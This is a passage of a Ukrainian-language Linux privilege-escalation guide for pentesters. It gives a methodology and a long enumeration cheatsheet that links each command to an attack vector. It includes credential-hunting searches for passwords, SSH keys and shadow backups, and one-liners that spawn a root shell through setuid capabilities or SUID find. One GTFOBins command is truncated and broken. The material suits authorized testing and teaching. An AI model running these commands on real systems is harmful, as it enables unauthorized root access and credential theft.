# Linux Privilege Escalation
# Повний посібник пентестера

Методологія, перерахування та практичні техніки

На основі матеріалів HackTheBox Academy
Структуровано як практичне пентест-керівництво

**⚠ УВАГА: Матеріал призначено виключно для легального пентесту в рамках authorized engagements та навчальних цілей**

# Зміст


| # | Розділ | Стор. |
|---|---|---|
| | **ЧАСТИНА I — МЕТОДОЛОГІЯ ТА ПЕРЕРАХУВАННЯ** | |
| 1 | Вступ та методологія пентестера | 4 |
| 2 | Перерахування (Enumeration Cheatsheet) — BCI команди | 6 |
| | **ЧАСТИНА II — ВЕКТОРИ ЕКСПЛУАТАЦІЇ** | |
| 3 | Credential Hunting | — |
| 4 | SUID / SGID бінарі + GTFOBins | — |
| 5 | Sudo Rights Abuse | — |
| 6 | PATH Abuse | — |
| 7 | Wildcard Abuse | — |
| 8 | Capabilities | — |
| 9 | Cron Jobs Abuse | — |
| 10 | Privileged Groups (LXC/LXD, Docker, Disk, ADM) | — |
| 11 | Kubernetes | — |
| 12 | Vulnerable Services (CVE-based) | — |
| 13 | Logrotate (Logrotten) | — |
| 14 | Weak NFS Privileges | — |
| 15 | Passive Traffic Capture | — |
| 16 | Tmux / Screen Session Hijacking | — |
| 17 | Escaping Restricted Shells | — |
| 18 | Додаткові техніки (writable critical files) | — |
| | **ДОДАТКИ** | |
| A | Список корисних інструментів | — |
| B | Reverse shell payloads | — |

# 1. Вступ та методологія пентестера

Підвищення привілеїв (Privilege Escalation, PrivEsc) на Linux — це процес отримання вищих прав (зазвичай root) з обмеженого облікового запису. На практиці це один з найкритичніших етапів пентесту після отримання initial foothold — через RCE, SSH credentials, web shell чи misconfiguration.

Цей посібник структуровано так, як реальний пентестер працює з ціллю: **спочатку — широке перерахування**, потім **аналіз знайдених векторів**, і нарешті — **експлуатація**. Ключовий принцип: enumeration is key.

## Методологічний цикл

Весь процес можна представити як цикл з 4 фаз, через який пентестер проходить послідовно для кожного нового хоста:

| Фаза | Що робимо | Інструменти / команди |
|---|---|---|
| 1. Situational Awareness | Базова орієнтація: хто ми, де ми, що навколо | whoami, id, hostname, uname -a, ip a, sudo -l |
| 2. Environment Enumeration | Перерахування ОС, користувачів, сервісів, файлів, мережі | env, /etc/passwd, /etc/group, ps aux, netstat, find |
| 3. Vector Identification | Пошук конкретних шляхів privesc через misconfigurations/CVE | SUID, caps, sudo -l, cron, writable files, groups |
| 4. Exploitation | Запуск знайденого експлойта/техніки → root shell | GTFOBins, custom PoC, payload delivery |

## Ключові принципи

- **Enumeration first, exploitation second** — Ніколи не стрибайте одразу до експлуатації. 80% часу — enumeration, 20% — сама експлуатація.
- **Manual > automated (але використовуйте обидва)** — Скрипти типу LinPEAS, LinEnum дають багато шуму і можуть пропустити нюанси. Запускайте їх як supplement до ручного перерахування, не як заміну.
- **Документуйте все** — Кожна знайдена крихта інформації (пароль у history, незвичайний бінарь, writable файл) може бути ключем. Робіть нотатки з моменту отримання shell.
- **Розуміти що робить команда** — Не копіюйте з cheatsheet бездумно. Якщо команда не спрацювала — треба розуміти ЧОМУ і як її адаптувати під конкретну систему.
- **Stealth: мінімум слідів** — Уникайте шумних команд без потреби (strace, tcpdump як root, модифікація production скриптів). Робіть backup перед зміною будь-якого файлу.
- **Чекати, коли треба** — Cron, logrotate, pspy моніторинг — вимагають часу. Не пропустіть вектор тільки через нетерплячість.

## Як користуватись цим документом

**Розділ 2 (Перерахування)** — це зведена шпаргалка з УСІМА командами з усіх технік. Кожна команда має 4 обов'язкових пункти: що шукати, як виглядає цікавий результат, чи треба чекати, і посилання на розділ з детальною експлуатацією. Використовуйте цей розділ на цілі після отримання shell — проходьте по ньому згори вниз.

**Розділи 3–18** — детальний розбір кожного вектора: theory, preconditions, команди експлуатації, приклади payload'ів, troubleshooting.

> **Тір від пентестера**
>
> Перше що треба зробити після отримання shell — це зібрати максимум інформації ДО того, як почати щось ламати. Запустіть pspy у фоні, скопіюйте LinPEAS output у файл, і тільки потім, паралельно, починайте ручне перерахування. Інакше можете зачепити захист і втратити shell до того, як знайдете шлях до root.

# 2. Перерахування (Enumeration Cheatsheet)

Це центральний розділ посібника. Проходьте по ньому послідовно на кожній новій цілі. Кожна команда супроводжується 4 критичними пунктами:

 **Що шукати** — ключові слова, рядки, значення в output, на які звертати увагу
 **Цікавий результат** — приклад output'у, який свідчить про потенційний privesc
 **Чи чекати** — скільки часу команді треба / скільки моніторити
 **Розділ експлуатації** — куди переходити якщо вектор підтверджений

## 2.1 Situational Awareness — перші 30 секунд

Ці 5 команд треба запустити ОДРАЗУ після отримання shell. Вони дають базову орієнтацію.

| `whoami` | |
|---|---|
| **Що шукати** | Ім'я поточного користувача |
| **Цікавий результат** | root — jackpot, далі privesc не потрібен. www-data/mysql/postgres — веб-сервіси (типово слабкі). Звичайний username — нормальний флоу privesc. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Якщо вже root — див. Розділ 18 (persistence). Інакше — продовжуй enumeration. |

| `id` | |
|---|---|
| **Що шукати** | UID, GID, та особливо groups — членство в ПРИВІЛЕЙОВАНИХ групах |
| **Цікавий результат** | groups=...,110(lxd) / ...,116(docker) / ...,6(disk) / ...,4(adm) / ...,27(sudo) — миттєвий privesc через групу |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | lxd/lxc → Розділ 10.1. docker → Розділ 10.2. disk → Розділ 10.3. adm → Розділ 10.4. |

| `hostname` | |
|---|---|
| **Що шукати** | Ім'я сервера — часто розкриває роль (dmz-web01, prod-db, backup-srv) |
| **Цікавий результат** | backup-srv01, db-prod-01 — натяк на важливі дані. dmz-* — публічно доступний хост. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Використовується як context для всіх наступних кроків. |

| `ifconfig \| \| ip a` | |
|---|---|
| **Що шукати** | IP адреси, мережеві інтерфейси, додаткові NIC в інших підмережах |
| **Цікавий результат** | Кілька інтерфейсів (ens192 + eth1) з IP в різних підмережах → можливий pivot у внутрішню мережу |

| | |
|---|---|
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Якщо є додаткові NIC — після privesc планувати pivoting (див. Додаток B). |

```
sudo -l
```

| | |
|---|---|
| **Що шукати** | Наявність sudo-прав без пароля (NOPASSWD), список дозволених команд |
| **Цікавий результат** | (root) NOPASSWD: /usr/bin/find — миттєвий privesc через GTFOBins. (ALL : ALL) ALL — повні sudo права якщо знаєш пароль. |
| **Чи чекати** | Миттєво. Може запитати пароль — якщо не знаєш, пропускай. |
| **Розділ експлуатації** | Розділ 5 (Sudo Rights Abuse) — детальна експлуатація через GTFOBins. |

## 2.2 OS, Kernel та Hardware

| cat /etc/os-release | |
|---|---|
| **Що шукати** | NAME, VERSION_ID, дистрибутив (Ubuntu/CentOS/Debian/RHEL) |
| **Цікавий результат** | VERSION_ID="20.04" — Focal Fossa, актуальна. Стара версія (14.04, 16.04, 18.04) або EOL — високі шанси на kernel exploit. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Стара OS → Розділ 12 (Vulnerable Services + kernel exploits). |

| uname -a | |
|---|---|
| **Що шукати** | Kernel version — для пошуку kernel CVE |
| **Цікавий результат** | Linux host 4.4.0-21-generic — стара → DirtyCOW (CVE-2016-5195). 5.8.0-* — DirtyPipe (CVE-2022-0847). 5.4.0-* — OverlayFS (CVE-2021-3493). |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 12 (Vulnerable Services). Пошук: searchsploit linux kernel . |

| cat /proc/version | |
|---|---|
| **Що шукати** | Альтернатива uname -a, часто додаткова інфа про компілятор |
| **Цікавий результат** | gcc version 4.8.4 — старий gcc на старій системі → ймовірно багато CVE. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 12 (Vulnerable Services). |

| echo $PATH | |
|---|---|
| **Що шукати** | Наявність незвичайних/writable каталогів у PATH, наявність '.' (current dir) |
| **Цікавий результат** | /home/user/bin:/usr/local/bin:... — home/user/bin писемний → PATH hijacking. .:/usr/bin:... — '.' у PATH = миттєва підміна команд. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 6 (PATH Abuse). |

| env | |
|---|---|
| **Що шукати** | Змінні середовища — іноді містять паролі, токени, API keys |
| **Цікавий результат** | DB_PASSWORD=supersecret, AWS_SECRET_KEY=..., LD_PRELOAD=... — прямі credentials або вектори |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 3 (Credential Hunting). LD_PRELOAD → може вказувати на shared object hijacking. |

| lscpu | |
|---|---|
| **Що шукати** | Архітектура (x86_64, ARM), virtualization (VMware, KVM, Hypervisor) |
| **Цікавий результат** | Hypervisor vendor: VMware — ми в VM. ARM — треба ARM-compatible binaries для експлойтів. |
| **Чи чекати** | Миттєво. |

| | |
|---|---|
| **Розділ експлуатації** | Context для вибору скомпільованих expiloits. |

```
cat /etc/shells
```

| | |
|---|---|
| **Що шукати** | Список доступних shells. Наявність tmux/screen — можливість session hijacking |
| **Цікавий результат** | /usr/bin/tmux, /usr/bin/screen — перевіряй active sessions через ps aux \| grep tmux |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 16 (Tmux / Screen Hijacking). |

## 2.3 Користувачі та групи

| `cat /etc/passwd` | |
|---|---|
| **Що шукати** | Всі користувачі, особливо з UID<1000 (service accounts), UID=0 (root-equivalent), shells (/bin/bash vs /bin/false) |
| **Цікавий результат** | user:$1$salt$hash:0:0: — hash прямо в passwd (rare, але trivial). Додаткові юзери з UID=0 — backdoor. Сервісні акаунти з /bin/bash — підозріло. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Hash в passwd → John/Hashcat. Розділ 3 (Credential Hunting). |

| `cat /etc/passwd \| cut -f1 -d:` | |
|---|---|
| **Що шукати** | Компактний список юзернеймів — для password spraying, SSH enumeration |
| **Цікавий результат** | Список для brute-force через hydra/medusa якщо знаємо пароль одного юзера. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Використовується як wordlist. |

| `grep "sh$" /etc/passwd` | |
|---|---|
| **Що шукати** | Юзери з login shell (реальні акаунти, потенційні цілі) |
| **Цікавий результат** | Користувачі з /bin/bash — ті, у кого потенційно є file в /home з credentials/SSH keys. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Далі → ls /home/ для кожного з них (якщо доступно). |

| `cat /etc/group` | |
|---|---|
| **Що шукати** | Повний список груп та їх членів |
| **Цікавий результат** | sudo:x:27:mrb3n,htb-student — зрозуміло хто може sudo. Кастомні групи (devs, backups) + наше членство — можливі shared resources. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 10 (Privileged Groups). |

| `getent group sudo` | |
|---|---|
| **Що шукати** | Хто в групі sudo (навіть якщо група не в /etc/group явно, напр. через LDAP) |
| **Цікавий результат** | sudo:x:27:user1,user2 — user2 = мій акаунт → pwd? Якщо знаю пароль user2 = root. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 5 (Sudo). |

| `ls /home` | |
|---|---|
| **Що шукати** | Чужі home директорії — потенційно доступні SSH keys, .bash_history, config files |
| **Цікавий результат** | backupsvc, admin, dev — нестандартні юзери. Наявність дозволу на читання → credential hunting. |

| | |
|---|---|
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 3 (Credential Hunting). |

| `lastlog` | |
|---|---|
| **Що шукати** | Коли останній раз логінились користувачі, з яких IP |
| **Цікавий результат** | mrb3n pts/1 10.10.14.15 — логін з remote IP. Багато активних юзерів → більше surface. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Context для планування attacks. |

| `w \| who \| finger` | |
|---|---|
| **Що шукати** | Хто ЗАРАЗ on-line на системі разом з нами |
| **Цікавий результат** | cliff.moore pts/0 — інший юзер в системі. Якщо його shell залишено відкритим — можна hijacking через tmux/screen або process inspection. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 16 (Tmux Hijacking). Розділ 9 (можливо cron від його імені). |

## 2.4 Файлова система, mounts, drives

| lsblk | |
|---|---|
| **Що шукати** | Block devices, невмонтовані диски, LVM, зашифровані partitions |
| **Цікавий результат** | /dev/sdb1 без MOUNTPOINT — можна mount і знайти backup/sensitive data (якщо є права). |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Після privesc — mount невмонтованих partitions. |

| df -h | |
|---|---|
| **Що шукати** | Вмонтовані файлові системи, розмір, використання |
| **Цікавий результат** | Нестандартні mount points (/backup, /nfs, /data) — перевіряй їх на credentials/SSH keys. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 3 (Credential Hunting) на знайдених mount points. |

| cat /etc/fstab | |
|---|---|
| **Що шукати** | Fstab entries — може містити creds в опціях (username=, password=, credentials=) |
| **Цікавий результат** | //share /mnt cifs username=admin,password=Pass123! — credentials в cleartext! nfs-server:/export /nfs nfs — можливі NFS misconfig. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Credentials → Розділ 3. NFS exports → Розділ 14. |

| cat /etc/fstab \| grep -v "#" \| column -t | |
|---|---|
| **Що шукати** | Те саме але без коментарів, колонками — легше читати |
| **Цікавий результат** | Те саме що вище. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 3 / Розділ 14. |

| route \|\| netstat -rn \|\| ip route | |
|---|---|
| **Що шукати** | Routing table — додаткові мережі, gateway, routes |
| **Цікавий результат** | 10.0.0.0/8 через eth1 — інша підмережа доступна для pivoting. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Післяprivesc — pivoting (див. Додаток). |

| cat /etc/resolv.conf | |
|---|---|
| **Що шукати** | DNS сервери — може показати внутрішні AD DNS (домен environment) |
| **Цікавий результат** | nameserver 10.0.0.1 search corp.local — AD domain присутній. DNS = DC. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Domain env → додаткові вектори AD enumeration після privesc. |

```
arp -a
```

| | |
|---|---|
| **Що шукати** | ARP table — з якими хостами ми спілкувались, list потенційних цілей для pivoting |
| **Цікавий результат** | Декілька записів — на DC, файлсервер, admin workstation — cross-ref з SSH known_hosts. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 3 (SSH keys → lateral movement). |

```
cat /etc/hosts
```

| | |
|---|---|
| **Що шукати** | Статичні hostname→IP мапи, cross-references на внутрішні хости |
| **Цікавий результат** | app-srv 10.0.0.50, db 10.0.0.51 — внутрішні хости + їхні IPs для pivoting. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Додаток B (pivoting targets). |

## 2.5 Hidden, Temp файли та History

```
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep <username>
```

| | |
|---|---|
| **Що шукати** | Hidden files у home directory — .bash_history, .ssh/, .mysql_history, .viminfo |
| **Цікавий результат** | .bash_history з mysql -u root -pPassword → creds. .ssh/id_rsa → SSH key. |
| **Чи чекати** | Кілька секунд. |
| **Розділ експлуатації** | Розділ 3 (Credential Hunting). |

```
find / -type d -name ".*" -ls 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | Hidden directories — іноді захалявні git repos (.git/), configs (.config/) |
| **Цікавий результат** | .git/config з remote URL або .git/logs/ з committed secrets — credential leak. |
| **Чи чекати** | Кілька секунд. |
| **Розділ експлуатації** | Розділ 3. |

```
ls -l /tmp /var/tmp /dev/shm
```

| | |
|---|---|
| **Що шукати** | Вміст тимчасових директорій — залишені файли, сокети, шкідливі payloads |
| **Цікавий результат** | Файли інших юзерів з read-access — history dumps, session files. Сокети з цікавими permissions — можливо hijacking. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Можливо Розділ 16 (sockets) або Розділ 3. |

```
history
```

| | |
|---|---|
| **Що шукати** | Commands останнього login поточного юзера — паролі в args, критичні шляхи, ssh commands |
| **Цікавий результат** | mysql -u admin -pSecr3tPass, ssh user@internal-host — прямі credentials. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 3. |

```
find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | Знайти всі history-файли в системі (не лише bash) |
| **Цікавий результат** | .mysql_history з CREATE USER ... IDENTIFIED BY 'password', .psql_history. |
| **Чи чекати** | Декілька секунд. |
| **Розділ експлуатації** | Розділ 3. |

## 2.6 Writable файли та директорії (критично)

```
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | World-writable файли — КРИТИЧНО якщо запускаються з-під root (cron, sudo, service) |
| **Цікавий результат** | /opt/backup.sh, /usr/local/bin/sync.sh — якщо виконуються root-кроном → instant privesc. |
| **Чи чекати** | Декілька секунд. |
| **Розділ експлуатації** | Розділ 9 (Cron Abuse). Перевіряй якщо світиться cron-скрипт. |

```
find / -writable -type d 2>/dev/null | grep -v "/proc\|/sys"
```

| | |
|---|---|
| **Що шукати** | World-writable директорії — можливість додати payload/шкідливий файл |
| **Цікавий результат** | /etc/cron.d writable ←— catastrophic. /var/www/html writable → web shell. |
| **Чи чекати** | Декілька секунд. |
| **Розділ експлуатації** | Розділ 9 (cron), або інше залежно від директорії. |

```
ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.d/
```

| | |
|---|---|
| **Що шукати** | Permissions на критичні файли — іноді помилково writable |
| **Цікавий результат** | /etc/passwd -rw-rw-rw- — catastrophic. /etc/sudoers writable — instant privesc. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 18 (writable critical files). |

```
ls -la /etc/ld.so.preload /etc/ld.so.conf
```

| | |
|---|---|
| **Що шукати** | Writable ld.so.preload → можна підвантажити малісіозну бібліотеку в будь-який binary (включно SUID) |
| **Цікавий результат** | /etc/ld.so.preload writable — можна створити і вписати шлях до .so. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 18. |

## 2.7 SUID, SGID, Capabilities

```
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | SUID бінарі, що належать root — запуск як root. Шукай КАСТОМНІ (не в стандартному списку) |
| **Цікавий результат** | /usr/bin/find (SUID) → find . -exec /bin/sh \; → root. /home/user/payroll (custom SUID) — reverse engineer. |
| **Чи чекати** | Декілька секунд. |
| **Розділ експлуатації** | Розділ 4 (SUID + GTFOBins). |

```
find / -uid 0 -perm -6000 -type f 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | Бінарі з обома SUID+SGID встановленими |
| **Цікавий результат** | Customs бінарі з обома бітами — цікаві для RE. |
| **Чи чекати** | Декілька секунд. |
| **Розділ експлуатації** | Розділ 4. |

```
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | Те саме, детальний ls-like output |
| **Цікавий результат** | Те саме. |
| **Чи чекати** | Декілька секунд. |
| **Розділ експлуатації** | Розділ 4. |

```
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
```

| | |
|---|---|
| **Що шукати** | Linux capabilities на бінарях — privilege без SUID |
| **Цікавий результат** | /usr/bin/python3.8 cap_setuid=ep → python -c 'import os;os.setuid(0);os.system("/bin/sh")'. vim/gdb/perl з cap_setuid або cap_dac_override — миттєвий privesc. |
| **Чи чекати** | Секунди. |
| **Розділ експлуатації** | Розділ 8 (Capabilities). |

```
getcap <binary>
```

| | |
|---|---|
| **Що шукати** | Перевірити capabilities конкретного бінаря |
| **Цікавий результат** | cap_dac_override=eip — можна писати в будь-який файл (shadow, passwd, sudoers). |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 8. |

## 2.8 Cron Jobs, Services, Processes

| cat /etc/crontab | |
|---|---|
| **Що шукати** | Системний crontab — jobs що виконуються як root |
| **Цікавий результат** | */1 * * * * root /opt/script.sh — щохвилини як root. Якщо script.sh writable → instant privesc. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 9 (Cron Abuse). |

| ls -la /etc/cron.* | |
|---|---|
| **Що шукати** | Cron directories (daily/hourly/weekly) — скрипти всередині writable? |
| **Цікавий результат** | /etc/cron.daily/backup -rw-r--r-- root — НЕ writable, але перевіряй. Script у writable parent dir — можна перезаписати. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 9. |

| ls -la /etc/cron.d/ | |
|---|---|
| **Що шукати** | Application-specific cron jobs — іноді writable (misconfig) |
| **Цікавий результат** | Cron файл writable нашим юзером — можна додати свою команду. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 9. |

| crontab -l | |
|---|---|
| **Що шукати** | Crontab поточного юзера |
| **Цікавий результат** | Наш crontab пустий — нормально. Якщо запущений — не privesc, але цікаво. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | — |

| ./pspy64 -pf -i 1000 | |
|---|---|
| **Що шукати** | Моніторинг ALL процесів + FS events без root. Знаходить cron jobs, які не видно в crontab |
| **Цікавий результат** | Періодичний UID=0 CRON ... /bin/bash /opt/something.sh — вектор для cron abuse. Root процес, що виконує команду без абсолютного шляху → PATH abuse. |
| **Чи чекати** | ⚠ Треба чекати МІНІМУМ один cron цикл (1 хв), часто 5-15 хв для повної картини. Якщо cron щогодинний — годину. |
| **Розділ експлуатації** | Розділ 9 (Cron), Розділ 6 (PATH). |

| ps aux \| grep root | |
|---|---|
| **Що шукати** | Процеси які зараз працюють як root — потенційні цілі |
| **Цікавий результат** | Custom root daemon з сокетом у /tmp — потенційний IPC privesc. Python скрипт з API key в argv — credential disclosure. |

| | |
|---|---|
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Залежить від знайденого (Розділ 3 для creds, Розділ 12 для vulnerable services). |

```
ps auxf
```

| | |
|---|---|
| **Що шукати** | Tree-view процесів — parent-child relationships |
| **Цікавий результат** | Стрічний ланцюжок: cron → script → binary without path → вектор PATH hijacking. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 6, 9, 12. |

```
systemctl list-units --type=service
```

| | |
|---|---|
| **Що шукати** | Systemd services — альтернатива ps, показує всі сервіси |
| **Цікавий результат** | Custom services з writable ExecStart шляхом — можлива підміна бінаря. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 12 (Vulnerable Services). |

```
systemctl list-timers
```

| | |
|---|---|
| **Що шукати** | Systemd timers — альтернатива cron, часто ігноруються |
| **Цікавий результат** | Custom timer, який запускає writable скрипт як root — те саме що cron. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 9 (аналог cron). |

## 2.9 Встановлені пакети та версії сервісів

```
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list
```

| | |
|---|---|
| **Що шукати** | Зберегти список пакетів в файл для cross-reference з GTFOBins |
| **Цікавий результат** | Файл installed_pkgs.list використовується в наступній команді. |
| **Чи чекати** | Секунди. |
| **Розділ експлуатації** | — |

```
dpkg -l || rpm -qa
```

| | |
|---|---|
| **Що шукати** | Альтернативи apt list — для Debian/RedHat-based |
| **Цікавий результат** | Застарілі версії (напр. sudo 1.8.27, polkit 0.105) — vulnerable to CVE. |
| **Чи чекати** | Секунди. |
| **Розділ експлуатації** | Розділ 12. |

```
for i in $(curl -s https://gtfobins.org/api.json | jq -r '.executables | keys[]'); do if grep -q "$i" i
```

| | |
|---|---|
| **Що шукати** | Автоматичне cross-reference встановлених пакетів з GTFOBins |
| **Цікавий результат** | Список пакетів, які мають GTFOBins записи — кандидати для sudo/SUID exploits. |
| **Чи чекати** | Кілька секунд (потребує інтернету для api.json — або кешувати). |
| **Розділ експлуатації** | Розділ 4 (SUID), Розділ 5 (Sudo). |

```
sudo -V
```

| | |
|---|---|
| **Що шукати** | Версія sudo — KRYTYCZNE для CVE перевірки |
| **Цікавий результат** | Sudo version 1.8.27 — CVE-2019-14287 (sudo -u#-1 bypass). <1.9.5p2 — CVE-2021-3156 (Baron Samedit, heap overflow). |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 12 (Vulnerable Services — Sudo CVE). |

```
screen -v
```

| | |
|---|---|
| **Що шукати** | Версія screen (якщо встановлений) — перевірка CVE-2017-5618 |
| **Цікавий результат** | Screen version 4.05.00 — VULNERABLE, есть public exploit (screenroot.sh). |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 12. |

```
ls -l /bin /usr/bin/ /usr/sbin/
```

| | |
|---|---|
| **Що шукати** | Бінарі, які можуть бути цікавими (custom scripts in standard paths) |
| **Цікавий результат** | Нестандартні бінарі в /usr/local/bin — custom admin tools, перевіряй їх версії/функції. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Залежить від знайденого. |

## 2.10 Configuration files, scripts, backups

```
find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | Всі config files — часто містять credentials, connection strings, API keys |
| **Цікавий результат** | /var/www/html/wp-config.php — MySQL creds. /opt/app/config.xml — admin password. |
| **Чи чекати** | Декілька секунд. |
| **Розділ експлуатації** | Розділ 3 (Credential Hunting). |

```
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | Альтернативний пошук — будь-які файли зі словом 'config' в назві |
| **Цікавий результат** | Custom application configs з hardcoded passwords. |
| **Чи чекати** | Декілька секунд. |
| **Розділ експлуатації** | Розділ 3. |

```
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
```

| | |
|---|---|
| **Що шукати** | Shell скрипти — часто містять захардкодені паролі, логіку, викликають інші команди |
| **Цікавий результат** | /home/user/backup.sh з mysqldump -u root -pPass... — credentials. Writable скрипт, що запускається cron — privesc vector. |
| **Чи чекати** | Декілька секунд. |
| **Розділ експлуатації** | Розділ 3 (creds) або Розділ 9 (cron). |

```
grep -r "password\|passwd\|secret\|api_key" /var/www /home /etc 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | Grep recursive по критичним директоріям на креди |
| **Цікавий результат** | Match в config.php, credentials.txt, .env — доступ до додаткових систем. |
| **Чи чекати** | Кілька секунд. |
| **Розділ експлуатації** | Розділ 3. |

```
ls ~/.ssh/ && ls /home/*/.ssh/ 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | SSH keys поточного та інших юзерів |
| **Цікавий результат** | id_rsa (приватний ключ) — доступ як інший user. known_hosts — список цілей для lateral. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 3 (SSH Keys). |

```
find / -name "id_rsa*" -o -name "id_dsa*" -o -name "*.pem" 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | Пошук всіх SSH/SSL privative keys в системі |
| **Цікавий результат** | Знайти приватний ключ де-небудь в /tmp, /var, /backup — privesc / lateral movement. |
| **Чи чекати** | Декілька секунд. |

| | |
|---|---|
| **Розділ експлуатації** | Розділ 3. |

```
find / -name "*.bak" -o -name "*.backup" -o -name "*.old" 2>/dev/null
```

| | |
|---|---|
| **Що шукати** | Backup файли — часто забуті, з застарілими configs + creds |
| **Цікавий результат** | config.php.bak, database.sql.old — старі паролі, які можуть ще працювати. |
| **Чи чекати** | Секунди. |
| **Розділ експлуатації** | Розділ 3. |

```
find /var/backups -type f 2>/dev/null && ls -la /var/backups/
```

| | |
|---|---|
| **Що шукати** | Стандартна директорія backup — іноді /etc/shadow.bak доступний для читання |
| **Цікавий результат** | /var/backups/shadow.bak readable — hashes для cracking. /var/backups/apt.extended_states ... просто ігнорувати. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 3. |

## 2.11 Мережеві сервіси та сокети

| `ss -tulpn \| netstat -tulpn` | |
|---|---|
| **Що шукати** | Відкриті порти + процеси що їх слухають (TCP/UDP) |
| **Цікавий результат** | 127.0.0.1:3306 mysql — LOCAL db, not exposed, но ми з shell — можемо перевіряти default creds. 127.0.0.1:6379 redis — часто без authn. :11211 memcached. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 12 (vulnerable services) або Розділ 3 (default creds на DB). |

| `showmount -e <target>` | |
|---|---|
| **Що шукати** | NFS exports на сервері (порт 2049) |
| **Цікавий результат** | /tmp *(rw,no_root_squash) — catastrophic. /home *(rw) — доступ до home директорій. |
| **Чи чекати** | Секунди. |
| **Розділ експлуатації** | Розділ 14 (Weak NFS). |

| `cat /etc/exports` | |
|---|---|
| **Що шукати** | NFS exports з локального хоста (якщо ми на NFS сервері) |
| **Цікавий результат** | no_root_squash опція — trivial privesc (розділ 14). |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 14. |

| `find / -type s -writable 2>/dev/null` | |
|---|---|
| **Що шукати** | Writable Unix sockets — potentially IPC hijacking |
| **Цікавий результат** | /var/run/docker.sock writable — Розділ 10.2. /tmp/tmux-*/default — Розділ 16. |
| **Чи чекати** | Декілька секунд. |
| **Розділ експлуатації** | Розділ 10 (Docker) або 16 (Tmux). |

| `ls -la /var/run/docker.sock` | |
|---|---|
| **Що шукати** | Docker socket permissions — якщо writable = root через container |
| **Цікавий результат** | srw-rw---- root docker та ми в docker group = instant privesc. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 10.2. |

| `ps aux \| grep -E 'tmux\|screen'` | |
|---|---|
| **Що шукати** | Шукаємо активні tmux/screen сесії — можливе hijacking |
| **Цікавий результат** | root пускає tmux з -S /shareds та ми можемо attach — Розділ 16. |
| **Чи чекати** | Миттєво. |
| **Розділ експлуатації** | Розділ 16. |

```
curl https://<k8s-master>:6443 -k 2>/dev/null && curl https://<k8s-master>:10250/pods -k
```

| | |
|---|---|
